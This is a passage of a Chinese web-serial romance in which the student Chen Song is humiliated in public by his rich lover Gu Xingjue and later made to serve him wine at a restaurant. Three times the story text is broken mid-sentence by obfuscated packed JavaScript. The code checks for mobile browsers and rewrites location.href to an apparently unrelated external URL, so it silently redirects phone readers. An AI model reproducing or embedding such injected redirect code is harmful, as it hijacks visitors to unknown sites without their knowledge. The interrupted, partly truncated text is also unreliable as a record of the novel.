陈颂下意识捏紧了围巾,波澜不惊的眼底翻涌起涟漪。 他做梦也没想到,当年高考落榜后就无缘的若阳,现在又给了他机会。 他很高兴,这是他近段时间来听到唯一的好消息。 激动的他都忘记要将围巾取下还给云景笙。 陈颂兴奋过后又有些紧张,捏住围巾的手更用力了几分。用难以置信的疑问,一个字一个字地蹦:“真的么。” 云景笙说:“真的。具体的等我回来再说。冬天来了,多穿些别着凉了。” 云景笙侧身向他挥挥手告别:“等我回来请我吃饭,拜拜。” 云景笙修长的身影在晚霞中行走,衣摆飘凌,脚下生风般上了车。 陈颂目送他离开,片刻后也准备回家。 他答应过顾行决的,周末回去。 正挪动脚,不远处传来一声高喊:“陈颂!” 陈颂心中一颤,闻声看去,马路对面正阔步而来的顾行决,面露阴戾。 顾行决一身灰水貂配黑裤,轻卷的黑发在风中凌乱出英气潇洒的弧度,精美绝伦的脸加上黄金比例的身材霎时吸引周围的全部的目光。 如天上星辰般耀眼。 只是这颗星辰耀眼猖狂得厉害,深邃幽幽的眼底散发出难以靠近的气场。 陈颂看出顾行决脸上不悦,即便如此,那张帅气的面容朝他走来时还是让他心动不已。 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379780|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行决阔步而来,一把扯下陈颂的围巾,粗鲁地扔在地上,精贵的黑靴一脚碾上。 “我不是说了,”顾行决紧绷着下颚,一字一顿地说着,“不准要他给的东西。” 西沉的太阳将最后一束余晖奢侈地洒在顾行决身上,夜幕降临的风越吹越大,如煽风点火般助长他英俊凌厉眼眸下的怒意。精心打理过的中分刘海在风中凌乱,露出一片洁白的额头,横立的断眉不悦地跳动着。 失去围巾的保护后,冷风不断灌进口鼻,如汹涌的浪花不断拍打陈颂的脾胃,震起阵阵怒意。 陈颂抿唇不语,深吸一口气后神色又一片清明。他蹲下去捡那柔软残存他温度的围巾,风吹得围巾乱飞,像是无声的挣扎。 陈颂轻轻扯了一下,没扯出来。还感受到顾行决又用力了几分。 陈颂捏住围巾更用力了些,那边与他较劲的力气也随之增大,互不相让,剑拔弩张。 陈颂近段时间总是吃不好,睡不好,有些低血压,此时蹲下片刻就觉得浑身血液直冲脑门,抬头愠怒道:“放开。” 顾行决纹丝不动,以上位者的姿态俯视着陈颂,微偏着头,浅薄的唇扯出一抹讥讽地笑。似乎在强烈宣誓着主导权。 “陈颂,你就这么缺?衣服也要他的,围巾也要他的?是没钱买么?”顾行决的话如毒蛇一般钻进人心,狠狠灼烧着陈颂一直以来平淡如水的保护色,陈颂攥住围巾的手不自觉用尽了力气。僵硬的脸颊渐渐扭曲地抽动,清秀的眉头紧皱,灰色的眼眸里闪过痛苦之色。 顾行决的话语是一场酷刑,陈颂不想听,只希望他能立马逃离,可僵硬的双脚,战栗的双手,让他无处可逃。 这场无形的鞭笞并未如愿结束,顾行决见陈颂还是一副不说话与他对抗的模样,强忍着心中滔天的怒意,抬手重重按压太阳穴,闭目沉吟片刻。 自上次送陈颂回学校后,他就时不时给陈颂打个电话,想和陈颂说些甜言蜜语暧昧一下,维护一下二人之间的感情。 可陈颂就像机械一般回答,不带任何感情的,连多说几个字都不肯赏他。热脸贴冷屁股的事,顾大少第一次干,起初还有些耐心,想着陈颂可能还在气头上,过两天就好了。 但这一周都还是这样,顾行决也就不打电话了,跟着暗暗较劲。他许久没发泄情.欲,上次陈颂出院也只是克制地帮陈颂泄火。 因此,顾行决将怒意慢慢转移到欲.望之上,只有在床上的陈颂是最乖巧最听话,最喜欢示弱的。 想着周末了能和陈颂共度春.宵,顾行决心情也好不少。顾行决心情好的时候是会宠人的,喜欢带给人惊喜,就像这次来到陈颂学校来接他一样。 按照预计中的计划,应该是陈颂接到他的电话,满心欢喜地一如从前那样跑着出来迎接他。 然后自己帅气潇洒地对他敞开怀抱,说:‘surprise’ 结果他车还没停稳就看见那只老狐狸暧昧地给陈颂围上围巾,两个人叽叽喳喳不知道说些什么狗屁话,陈颂还笑得那么害羞。 顾行决已经很久没有看到陈颂如此开怀的笑了。对自己一句话都不肯多说,对云景笙笑得这么灿烂? 什么很尊敬的老师,全都是他妈狗屁! 顾行决看着陈颂固执地一眼不眨地瞪着自己,哪里还是那个满眼柔情的陈颂,好像眼前的人是强盗,夺走他心爱之物的强盗。 “好,很好。”顾行决倒吸几口凉风,从口袋里拽出钱包,掏出一张卡俯身逼近陈颂紧绷的脸上。 冰冷的卡刀锋般嵌进脆弱的皮肤表层,很快留下鲜红刺目的印记。 “这张卡里的钱,够你潇洒一辈子了。”顾行决近在咫尺的脸,五官更加鲜明立体,这么帅气的一张脸,却好似锋利的冰山,日落最后一抹余晖消失在他身后,宣告着无论何种光芒也无法融化冰山一般。 夜幕的黑象征顾行决的侵略,吞噬着陈颂。 陈颂布满血丝的双眸骤然覆上一层热泪,赤裸的羞辱如凌迟般一层,又一层地刮下他的皮肤,一片血肉模糊。 陈颂胸口起伏不定,满腔的屈辱积攒了力气,抬手奋力拍开那张卡,紧接着跟上一声响亮亮的巴掌。 黑卡跳出手掌在空中翻了几个身,重重砸在地上。 顾行决捏卡的手还立在空中,浑身僵硬,不可置信地消化着刚才陈颂的一耳光。 他突然觉得还没下雪前的风也这么冷,刮得他脸颊生疼。 那个向来温顺,对他百般宠溺的陈颂,打了他一巴掌。 13. 围巾 顾行决含着金汤匙出身,身边所有人对他都是巴结,阿谀奉承,多余的话都不敢说,更别说是扇耳光这种带有人格尊严侮辱的行为。 顾行决只要略微显示出怒意,其他人吓得都要魂飞魄散,生怕一个得罪就要举家受牵连。 其实顾行决并不觉得被扇耳光有什么,毕竟他自知性格顽劣,盛气凌人,那些阿谀奉承的人让他恶心。 真敢打他的人反而让他觉得真了几分,比如从小打到大的云澈,嘴毒的谢砚尘,还有终于撕掉伪装面具的叶艾。 全天下唯一扇过他巴掌的人,有两个。 一个叶艾,一个陈颂。 叶艾的耳光让少年时期的顾行决遍地生寒,打碎了他沉迷已久的美梦。 那种无比心痛伤心的情感全来源于叶艾的欺骗,伪装。 此时被陈颂扇耳光后,顾行决有一丝难过和无措,像跟刺一样扎进心中。 这种难过又是来源于什么呢? 顾行决想不明白。 陈颂清冷的脸上终于露出扭曲的波澜。 那根带着难过情绪的针钻进顾行决心里,微乎其微的与心融为一体,像被吞噬一般再也发不出悲伤的讯号,取而代之的是一种自虐般的快感。 顾行决是要惩罚陈颂的。 他的惩罚此刻具象化地从陈颂扭曲痛苦,满是屈辱的表情上体现出来。 顾行决冷笑几声,顽劣地顶了顶腮,直起身来重新俯视着陈颂,那副掌控全局的模样让陈颂无比陌生。 像一个外来入侵者,肆意,疯狂,残酷地屠杀着陈颂的细胞。 陈颂往黑色裤腿上奋力一锤。与之抗衡的是纹丝不动的肌肉,坚硬如磐石,无论他捶打几下都不肯让步。 风呼啸着,来来往往引起不少目光。 这场凌迟是公开的,路过的行人,夜幕的星月,马路上粗壮的大树,街边散落一地的枯叶,都是见证者。 大学生最是爱吃瓜的群体,本来二人的颜值就已经够引来不少目光了,还有不少人认出了陈颂这个冷面阎王学生会会长。 吃瓜群众很快围在一起,出于二人压迫的气场,不敢靠近,只敢离得远些看着,几个胆大的还拿手机拍照。 陈颂只想当个透明人的愿望一直在被无可抗击的命运彻底击碎。 若这只是自己的围巾,他大可以弃之不理,转头逃离。 可这是云景笙的,是他尊敬的老师的,他不能不要。也不能容许顾行决对他的侮辱。 “够了么。”陈颂冰冷的声音让人如坠冰窖,“别这么幼稚行么。这还是在我的学校。” 顾行决嘴角抽动地笑了:“我幼稚?你说我幼稚?你知不知道你在说谁?” “我是不是跟你说过不许” “我同意了吗?我有同意你么?”陈颂冷冷地看着他,心早寒了一片。 顾行决顿了下:“你这什么意思。感情我前几天跟个孙子一样哄你,你他妈全当放屁了。” 陈颂完全无视顾行决的质问,紧紧拉扯着围巾,用力到清白的脖子上缓缓爬起青紫的经络,他低呵:“松开。” 顾行决:“回答我。你他妈是真不想过了是么。” 陈颂鼻尖微动,骨骼都在战栗,他不敢回答这个问题。只是倔强地扯着围巾,似乎那是他仅剩的自尊。 陈颂看到顾行决来的时候,心还是颤动的。知道他可能是来接自己回家的。 可心中的欢喜却被他不由分说的举动打碎了。 围围巾也不是他要的,他回过神时云景笙也已经走了。 重点是他和云景笙之间很清白,什么也没有。 为什么一句解释都不给他,半点信任也不给他。一上来就是这么劈头盖脸的羞辱。 他有这么不堪么,有这么贱地求包养么? 顾行决口口声声说不希望自己变成那些巴结他的人一样,可为什么还是把他归为那一路的人,将他往绝路上逼? 将他的自尊和人格碾压了一地,公开处刑。 心理学课上,老师曾问过一个问题,喜欢和合适那个重要。 陈颂没有犹豫地认定肯定是喜欢重要。在他的认知里,一个人怎么可能会跟不喜欢的人在一起。 他也曾以为顾行决是对他有过些许喜欢的,可如今他也怀疑了。 他和顾行决在三观上完全不和。顾行决完全忽视他的人格自尊。 陈颂觉得好累,垂眸看着藏青色的围巾染上了污渍,他松了手。有气无力地说到:“这是我的学校。可以别来打扰我么。” 顾行决心中莫名的痛快在陈颂恢复清冷后瞬间消散,又在心间迂回出一股浓浓的情绪,让他感到十分焦躁。 顾行决解释不出这种情绪是什么,所以焦躁地将他归结为愤怒,可高傲的自尊让他不再低头。终于,他抬脚转身头也不回地走了。 他不想再看到陈颂这个冷漠淡然的模样。 残留愤意的沉重呼吸甩在风里,渐渐远去。 陈颂艰难地快速呼吸着,浑身剧烈起伏,手发麻得厉害,腿脚也蹲得发麻,一瞬间的无力让他跪坐在地。 周遭那些目光与审判在耳边嗡嗡作响,那种窒息感又涌上心头。 陈颂呆坐在原地,将风中乱舞的围巾捡起来,小心翼翼地擦拭着污渍。可那污渍灰尘却怎么也擦不干净。 陈颂将围巾叠了起来,放在怀里,艰难地站起身时两眼一黑,差点要摔倒,踉跄几步缓了缓终于回过神。 没走几步又驻足原地,目光停滞在地上的黑卡上。无奈后苦笑着捡起来放在衣服里层的口袋。 陈颂本想今天回那个家然后简单打扫收拾下再去餐厅兼职的,现在看来直接去餐厅兼职就好了。 顾行决不会再回去了,他也是。 大学生的周末是最自由快乐的,不少人会出去聚餐吃饭,甚至是旅游。 当然这些对于陈颂这样的人是遥远的幻想。 陈颂没钱没精力没兴趣没朋友没自由,为了在社会生存下去,需要不断地兼职打工赚学费,生活费。需要赚各种学分,与任课老师搞好关系,完美地完成每次作业,获取奖学金。一有什么能够参加的比赛他也第一时间参加,填写各种表格申请贫困生资助金。需要兼顾学生会,处理各种大小事宜。 所做的一切都是为了生存,为了独立成为一名优秀的医生,在社会上立足,有一个自己的安身之所。 很忙,很累,日复一日的生活里,顾行决是那个打破秩序的闯入者。霸道地撕裂一切规则,成为独裁专制的君主。 陈颂认识顾行决以前,每日最多只有六小时的睡眠。在繁忙的学业中挤出的时间都花在兼职工作上。认识顾行决后,偶尔几次顾行决半夜回家发现陈颂都不在,很生气,叫他辞去工作。 陈颂说没有工作没钱吃饭,顾行决不带一丝犹豫地说要包养他。陈颂看着他认真的样子好笑又有些心动。 具顾墨的描述,他是在一家赛车俱乐部当打杂的。打杂的能有什么钱,再说了他开的机车特别费油,怎么可能包养他。 陈颂还笑着捉弄他:“你又不是富二代,怎么包养我。” 顾行决当时脸色古怪了一阵,没说出话。 陈颂现在回想起来,顾行决脑袋一热可能说的是真话,自己被他玩弄的样子才像个笑话。 陈颂当时觉得不现实,于是商量着减少工作的时间,只有周末才去兼职,顾行决也就消停下来。 于是陈颂便被囚禁在君主打造的名为“家”的冷宫里,日日盼着君主归来。那个家也是有不少温馨回忆的,但同时伴随着痛苦又长久的等待。 那种又想回去又没有勇气回去的矛盾心理让陈颂如海上的漂浮者,茫茫大海上只有一块狭小的木板让他支撑浪花的冲击,欲沉不沉,快要溺死却又死不掉。 面对顾行决的狂妄,自大,侮辱。他无法轻易离开,心中的底线一退再退。 与顾行决待在一起的每一天陈颂都清楚的知道,这样的一天总会来的。他无法割舍,所以停滞思考,一直逃避,就像今天这样。 本来打算晚点再去兼职的,现在只想让自己忙得不要有一刻能停下来思考。 陈颂兼职的地方是京市很出名的五星级餐厅,在后厨当助理,这已经是第三个年头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江姨瞅他一眼,挖苦他:“哎哟来这的可不都是大客户么。谁看不出来。” 许可摆摆手,故作神秘地说:“这次来的可真不一样。刚才我在阿乐姐姐那,她说谢家少爷今天要来这摆宴,叫的人不多,但来的可都是那一圈的人。” 江姨一听眉毛抬了下,切菜的手停下问:“哪个谢家?” 许可咬着菜叶的嘴笑了起来:“还能是哪个谢家?北城四大少最狠的那个谢砚尘呗。” “啊?”后厨的年轻人闻言手里的活都停了下来,“他不是去部队了么。” 就连一直专心忙碌的陈颂也是一顿,切菜的动作慢了下来。 谢砚尘这三个字,对上当日一见的那张脸,陈颂心中不自觉一紧,心里有个不好的猜想。 刘师傅扔给陈颂一盆菜:“慢吞吞的不如回家睡觉。” 不管多大背景来的人物,对于后厨的老人来说早就司空见惯,刘师傅对这种八卦的行为也颇有不满。 陈颂知道刘师傅生气了,连忙抱起怀里的菜清洗起来,心里还是克制不住听着许可说的话。 许可看着大家新奇的目光,颇有成就感地说:“上个月中好像就回来了。” 有人不信:“就你消息灵通,你个小屁孩还知道北城四大少了。” 许可“哼”一声:“我怎么不知道了。我什么都知道。北城四大少谁不知道啊。” 江姨嗤笑:“你肯定听阿乐说的呗。就你个小毛孩儿才来这儿几年还能知道上面人的事儿了。” 阿乐是餐厅里的人事一姐,专门处理酒店的投诉还有一些纷争,也是个爱八卦的。酒店里一出现什么正主抓小三之类的新鲜事,必定从她一张嘴从前台传到后厨。 许可被戳破后非常不服气,噘着嘴道:“那咋了那咋了,要不是我说,你们能知道谢砚尘来了啊。哼。我还知道不光谢砚尘来了,北城四大少的纨绔第一人,顾行决也来了。” 陈颂手一抖,铁盆摔在地上砸得震耳欲聋,刚洗好的菜撒了一地。 14. 他的接吻 江姨见许可气急败坏的脸憋着红,笑的合不拢嘴:“说得你多了解似的,那谢家的来了,顾家的来有什么奇怪吗。你说说人家为什么一起被列为北城四大少里呢。” “我!”许可答不上来,急得语无伦次,“我。” “闭嘴!”欢笑声中一声震雷怒慑众人,刘师傅拍桌吼道,“要聊滚出去聊。厨房是烧菜的地方,不想干的都给我滚蛋!” 许可被吓得陡然一抖,屁滚尿流地一溜烟跑出去。他原来就是刘师傅带的,经常被骂个半死。此时不躲躲,今晚别想好过了。 许可跑后众人也立马干起手上的活,装作很忙的样子,生怕刘师傅的发难。 只有陈颂还呆愣地蹲在地上捡菜。 陈颂再一次清楚的意识到自己和顾行决不是一个世界里的人。 他这辈子不可能去五星级餐厅吃饭,他唯一进餐厅的方式是在后厨打杂。 “还不捡起来?你想让顾客吃灰么?”刘师傅撇头看陈颂一眼,低呵道。 陈颂回过神,迅速捡起菜重新洗一遍。 就算顾行决也在又怎么了,又不会碰见。 可为什么会这么巧?为什么到哪里都能听到他的消息?这三年里从未听人说起过啊? 这一切好像都是老天上赶着让他识相点看清二人差距,赶紧离开。 陈颂额头浮上一层薄汗,眉头紧皱,心有些发酸。 他为了逃避顾行决来到这里工作,可笑的是顾行决又出现在这里打搅他的心思。 不过很快就在刘师傅的鞭笞下重新投入到工作里。 刘师傅骂他既然没心思就滚回家明天下午再来。 陈颂连连道歉,一旁的江姨忍不住劝了几句才止住刘师傅的脾气。 半个小时后,刘师傅接到一通电话让陈颂去侧门接鱼。 陈颂摘下被汗水浸没的厨师帽和口罩,洗干净手后连忙从侧门走去。 餐厅是一栋小洋房,从厨房出去走过一个长廊就能出餐厅。刚开门一阵寒风扑面而来,带着后院的花香清新怡人。 陈颂在厨房闷热一晚上,此时觉得十分凉爽。 运货的司机一见到陈颂就笑嘻嘻叫他:“好久不见了小颂。” 陈颂接过蓝色塑料箱,还能清楚地感受到箱里大鱼的游动:“李叔辛苦了。” 李叔乐呵呵地说:“里面还有条小的,也鲜得不行,你们自己做了吃。送你们的,” 陈颂微笑点点头。 李叔朝他摆摆手:“赶紧去忙吧。” 陈颂抱着沉重的箱子穿过花园,刚上两步台阶的时候,眼前的画面像无数钉子贯穿全身,将他像座雕像一般定在原地。 走廊的拐角处站着一对人,那画面一瞬间让陈颂回到全身发憷,出车祸的瞬间。 顾行决依旧一身不羁的黑色皮衣,脖子上的银项链在炽光灯下晃得刺眼,幽深的黑眸看着眼前人。 他眼前那人优越帅气的侧脸依旧满目炽热与柔情,穿着和顾行决如出一辙的黑色皮夹克,酷似情侣装。修长的手指娇俏地轻扯顾行决的银项链,稍稍一拉就让顾行决的头低了下来。 陈颂怔怔地,一眼不眨地看着,呼吸完全紊乱,端着箱子的双手发麻,像无数条毒蛇往他手心里钻。 似是注视到角落里的窥探,顾行决抬眸捕捉到陈颂的目光。 顾行决深邃的眼眸无法察觉地一滞,对视一瞬,眼角浮起桀骜不羁的笑意,随后垂眸深情款款地接上身前小可人献上来的吻。 陈颂紊乱的呼吸骤然一滞,遍体生寒,心痛地好像有无数刀片肆意割裂,僵硬地抬脚逃似得跑进另一条走廊。 窒息的感觉让他血液不流通,手脚麻得没有任何力气,跌坐在后厨的门口,大口喘着气,胡乱地呼吸着。 可是无论怎么呼吸他都无法获得氧气,越是着急越是无法控制身体,连活着最基本的呼吸都做不到,是不是要死了。 陈颂冷汗岑岑,眼里蓄满水光,大片的泪珠无意识滚下。 陈颂想过和顾行决之间会以腻了,淡了,不合适的方式分开,可从来没想过他会爱上别人。 以至于亲眼撞见顾行决和别人接吻时,带来的冲击感是天崩地裂的。 可是怎么办,是他提的分手,现在又能以什么身份来质问顾行决呢? “诶,你怎么摔地上了。这箱子很重么?”走廊的不远处传来许可的声音。 陈颂在震惊仓皇中回神,立马摸了一把脸,抬脚企图站起来,不慎绊了一跤差点一屁股坐会地上,许可眼疾手快扶住他。 许可瞪大了眼睛,看着陈颂通红的双眼:“你是不是哭了啊?” 陈颂一顿撇开脸,僵硬地动了动唇角,很想扯出一个平静不在意的笑,可是肌肉僵硬得根本做不到,他发出的声音也听着不像自己:“洋葱,洋葱辣的。” 许可恍然大悟松开了他,盯着他怀里的塑料箱:“这里面装的什么,很沉么?” 陈颂摇摇头:“不重,两条大鱼。” 许可惊喜道:“我去!这鱼到了啊!你知不知道里面是什么鱼?” 陈颂的心思根本无力在这,许可说的话左耳朵进右耳朵出,陈颂只是凭本能地回答:“不知道。” 许可立马上手掀开塑料盖,往里面看去:“这就是什么黄鱼的啊,长得扁不拉几的。我靠你知不知道这鱼多贵啊。一万五一公斤呢。这两条全是谢砚尘那桌点的。这些有钱人真的是快哉快哉啊。” 陈颂心下一晃,现在只想屏蔽一切和顾行决有关的事,不理许可的搭话,转身进了厨房。 “诶,你这人怎么不听人讲话啊!”许可不满地道,看陈颂进去也猫腰往里看了眼刘师傅,见他忙得热火朝天应该没时间骂他,许可这才安心跟进去。 陈颂自知这两条鱼贵重,找了个干净点的洗手池清洗。路过刘师傅时,还被他骂了一顿:“干什么吃的取个鱼取这么慢。” 平时挨骂,陈颂心里总是倍感抱歉,可此时此刻他心里的怅然失落让他无法听进任何语言。 陈颂的眼睛发酸,他强忍着泪意干活。 工作就是这样,即使发生了天崩地裂的事,也不能停下。 陈颂动作机械地清洗乱跳的活鱼,挥刀刮鳞片,灵活的鱼儿力气很大,一次次逃出手掌心四处乱窜。 陈颂没处理过力气这么大的鱼,一顿手忙脚乱,鸡飞狗跳。 有几个人笑着说:“这贵的鱼就是不一样啊,比人还有活气呢。” “这就是那两条鳇鱼啊。真鲜啊,谁家点的。” 许可就等着这会抢答:“谢砚尘那桌点的呗。两条都是,今晚李叔刚送来呢。” 江姨看不下去了对陈颂道:“小颂啊,给他拍晕吧。这也忒闹腾了,怎么清理。” 陈颂摇摇头,还是徒手抓鱼:“不行的江姨,那样口感会变。” 江姨无奈道:“就那一会,不碍事。都跟姓刘的学傻了,真顽固。” 鳇鱼在案板上剧烈挣扎起来,陈颂将全身力气用在手上才勉强支撑住,只是还没挂鳞一会,手就酸得没力气,那鳇鱼照样剧烈拍动鱼尾。 陈颂一个没注意,鱼就挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379782|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱束缚逃走,陈颂手里的刀混乱之下划过左手的户口处,细嫩的白皮立刻见了红,陈颂却感受不到痛。 刘师傅忙走过来拿走他手里的刀,看了眼伤口,面漏凶光:“去去去,回家去。” 陈颂手轻轻抖了抖,右手轻轻盖在左手上,弯腰不断道歉:“对不起对不起。” 这举动惊动了厨房的人,但大家手里的活停不下,无暇分身,只是嘱咐他赶紧去处理一下伤口。 受伤对于后厨来说见怪不怪。 陈颂的伤其实并不严重,伤口就是看着长了些,也不深。 重点是陈颂感受不到疼,痒痒的,疼的是心。 陈颂道完歉准备去外面处理一下,此时后厨的门打了开,董经理走了进来。 董经理的突然造访引得大家立刻正经不少,纷纷打了声招呼。 董经理随意点点头,环顾一周道:“陈颂是哪个?” 众人一顿好奇地嘲陈颂看去。 陈颂也是一愣,上前了几步道:“我是。” 董经理上下打量了陈颂一眼,神情古怪了片刻,朝他道:“你出来一下。” 陈颂抿了抿唇,双手伸到背后跟了出去。 陈颂进餐厅三年,几乎每跟后厨以外的人说过话,也只是见过董经理几次。突然当着这么多人面来找他,该不会是要把他炒了吧。 这无疑是让陈颂原本就悲凉的心雪上加霜。 陈颂觉得今天实在太不顺了。 陈颂虽然早就对自己很倒霉这件事认命了,但今天接二连三的事让他心累的实在透不过气。 出了门后董经理看着陈颂不语,只是用一种无法捉摸的目光上下打量着他。 陈颂很难与人对视很久,被这么打量着,有些毛骨悚然,拘谨地把手缩在背后,清晰地感受到鲜血不断流出。 “怎么了么,经理?”陈颂有些紧张地问。 董经理这才停止打量:“有一桌客人需要介绍菜品,听说你是大学生文化水平高点,多去说几句好听的话,最好把咱们店的菜夸到天上,让他们多掏点钱吃。” “店里几个贵的酒你待会推上去,给他们介绍介绍。”董经理双手环抱。看着他道,“店里的酒你应该都认识了吧,阿乐说你都来三年了。” 陈颂放松一口气,幸好不是要把他炒了,点点头:“知道的。” 董经理也跟着点点头,看起来颇有些满意,看了眼陈颂背后的手:“赶紧去处理一下,待会就带你上去。” 陈颂莫名地有些心虚,还是克制不住藏了藏手,像掩耳盗铃一样:“好的。” 陈颂去简单冲洗消毒了一下,随意贴了三枚创可贴就好了。 董经理带着他往六楼的包厢走,一路上给他叮嘱:“这房间的顾客都不怎么好伺候,你小心着点。到时候多点的菜单给你算提成。卖的多了可以直接给你转正加薪。” 陈颂推着小车一路无言,细细听着。 陈颂很想说其实自己根本不怎么会讲话,更别说推销了。能在整个过程不犯错就行了,他也并不想转正。 来这只是想学做菜,刚好能赚点学费。 他以后可是要去当医生的。 但陈颂无法拒绝经理,顾客是上帝,经理是上司,谁都不能忤逆。 董经理把人带到包厢门口,敲了敲门后推门而入。 包厢里一阵欢声笑语被董经理打断:“很抱歉打扰了各位老板们,介绍菜品的人来了。” 陈颂跟在董经理身后,一进门视线就撞上了坐在对面的顾行决,大脑一片空白。 15. 倒酒 顾行决黑衣如旧,神色默然,淡淡扫了陈颂一眼,冰冷的眼神像是在看陌生人。 他五官本就深邃立体,眉眼间距较窄,加上断眉这一特质,不说话的时候全身带着不可靠近的强势气场。 包厢不大,直径两米多的圆桌坐满人。明明相隔不远,陈颂却觉得二人之间的距离忽然被拉得很远很远。 顾行决敛眸的动作那么小,却深深刺痛陈颂双目。 陈颂慌乱地眨了两下眼皮,移开的视线不经意落在顾行决身旁的青年。 青年也正注视着他,明媚的双眸里,不知为何让陈颂品味出一丝轻视的笑意。 “啊,这不是......”原本安静的包厢里响起声音,突兀地打破了平静。 说话的是一位身着棕色夹克的男人,指着陈颂,神情讶异片刻又看向顾行决,像是想得到顾行决的回应。 但顾行决耳若未闻般,轻轻摇晃着红酒杯,不发一言。 男人见势讪讪收回指向陈颂的手,不再多说。 聚焦在陈颂身上的目光,让他浑身烧灼起一股沸腾的血。 羞赧,不安。滋生出一股矛盾的情绪。 他害怕和顾行决的关系被人发现,但又对顾行决的漠视感到难过。 陈颂敏感的情绪不断被放大,听到几声浅浅的笑。 那是谢砚尘的声音:“又见面了呢。陈同学。” 谢砚尘的语调暧昧,在坐的各位都品出了点别的意味。 陈颂僵硬地杵在原地,目光落在地面上无法聚焦,不知如何回答,如何应对眼前的这种情况。 他只是一个后厨帮忙的小助理,在餐厅干活三年都没听说过有顾客要后厨上来讲解菜品的。 真有需要讲解菜品也是待应生来讲解,找他来是什么意思? 不可能是谢砚尘把他叫来的吧,他根本没在这碰到过谢砚尘。 把他特地叫来羞辱的只有一个人,方才撞见和别人接吻的顾行决。 顾行决从不过问陈颂的学校,工作。陈颂也幻想过有天顾行决能甜蜜地来到他工作的地方,接他下班。 顾行决是来到他工作的地方了,没想到是以这种痛彻心扉的形式。 董经理在这行业上混这么多年不是白混的,方才来递菜单的时候,那位顾家大少突然说: “听说你们这也有个叫陈颂的人,还是个大学生。把他叫来给我倒酒。” 董经理听完后先是懵了一瞬,他没记错的话顾行决从来没来过这家餐厅,怎么认识这里的待应生的。 以传闻对顾行决的评价,董经理估计这个叫陈颂的八成跟他有过一腿。随后就风风火火找人事一姐阿乐问陈颂在哪。 结果一查,陈颂是个在后厨兼职的小助理。 董经理原以为陈颂会是那种勾引人的小妖精类型,一见面却傻眼了。 这不纯纯呆傻小白兔么。 不管什么妖精还是白兔,只要能从顾客手里挖钱就行。 董经理又风风火火把小白兔领过来,原本是想往顾行决那领的,结果谢砚尘又先撩拨上了,顾行决倒是一副视若无睹的样子。 董经理都昏头了,到底是谁的?还是就是单纯玩的花。 不过也顾不了这么多了,董经理看着有些紧张的陈颂,胳膊肘戳了戳他,帮他打圆场:“哎呀谢少,早说你们认识呀。那就让小颂在这里给你们介绍菜品吧。我就先下去忙了。” 谢砚尘偏头笑了下;“介绍就不用了。倒倒酒就行。” 董经理忙点点头:“好的好的。” 语罢,董经理拿起最贵的那瓶酒开了递给陈颂,小声嘱咐:“只是倒酒就简单多了,少说话多做事。利索点,今晚一瓶酒的提成都够你一周的工资了。” 陈颂手心发麻,觉得周身的光都无比刺眼,半晌才缓缓伸手接酒。 董经理见他磨磨蹭蹭地样子有些不满,把酒直接砸他手里:“倒个酒跟要你命似的怎么。” 酒瓶撞在伤口处,原本一点痛觉都感受不到的伤口忽然牵扯起剧烈的疼,疼的他面色有些苍白起来。 董经理浑然不觉陈颂的不对劲,转身又笑眯眯地对大家道:“那你们慢慢吃,我先去忙了,有什么事就找我。” 董经理说完就撤了。 随着门“咔嚓”地一关,包厢内又沉静下来。 陈颂抱着酒瓶,独自面对满室的目光,僵硬地像个误创人类世界的木偶。 “别这么紧张,”谢砚尘轻笑一声,握起小刀切割着牛肉,“就是倒个酒。先给我们的顾大少爷满上吧。” 一小块精致的牛肉被刀插.起,不紧不慢地放在谢砚尘嘴边,“第一杯罚他今晚迟到。偷偷摸摸的,不知道上哪偷男人去了。” 陈颂手里的酒轻轻一晃,像被海水吞噬的窒息感又油然而生。 同时响起几道附和的声音: “是啊是啊,程颂也得罚!你们俩一起迟到的,一起偷人去了吧?” “哈哈哈。” 陈颂浑身一颤,本能地反驳道:“我没有。” 陈颂的话一出,众人的笑声戛然而止,忽然陷入一份诡异的寂静。 “啊,那个,其实说的是我。” 坐在顾行决身旁的男生笑着说:“我也叫程颂,山一程水一程的程,歌颂的颂。” “你呢?”程颂打量着他说。 陈颂顷刻间血液逆流至大脑,烧的满脸血红。他愣了很久,觉得今天发生太多事情了,此时有些思考不过来了。 怎么会这么巧,发音几乎一样的名字,顾行决和另一个程颂接吻了。 在这个陈颂面前。 陈颂张了张嘴,好久才找回自己颤抖的声线:“耳东陈,歌颂的颂。” “哇,那真是太巧了吧。” “刚才顾少说这里也有个陈颂的时候,我们还不信呢。还真有叫陈颂的啊。你们是不是都认识啊,谢少。” 谢砚尘笑而不语。 陈颂头越垂越低,无地自容,像案板上任人宰割的鱼。 程颂却不以为意地说:“世界上同名同姓的都不在少数,有什么稀罕。一样的名字怎么咯,我们又不是一样的人。双胞胎都不是一模一样的人呢。你说是吧,陈颂?” “哎呀,不就是迟来了一会么,你们可别再挖苦我了,”程颂面色有些难看,佯装无奈,朝陈颂挥挥手,“快来给我倒酒给他们赔罪吧,陈颂。” 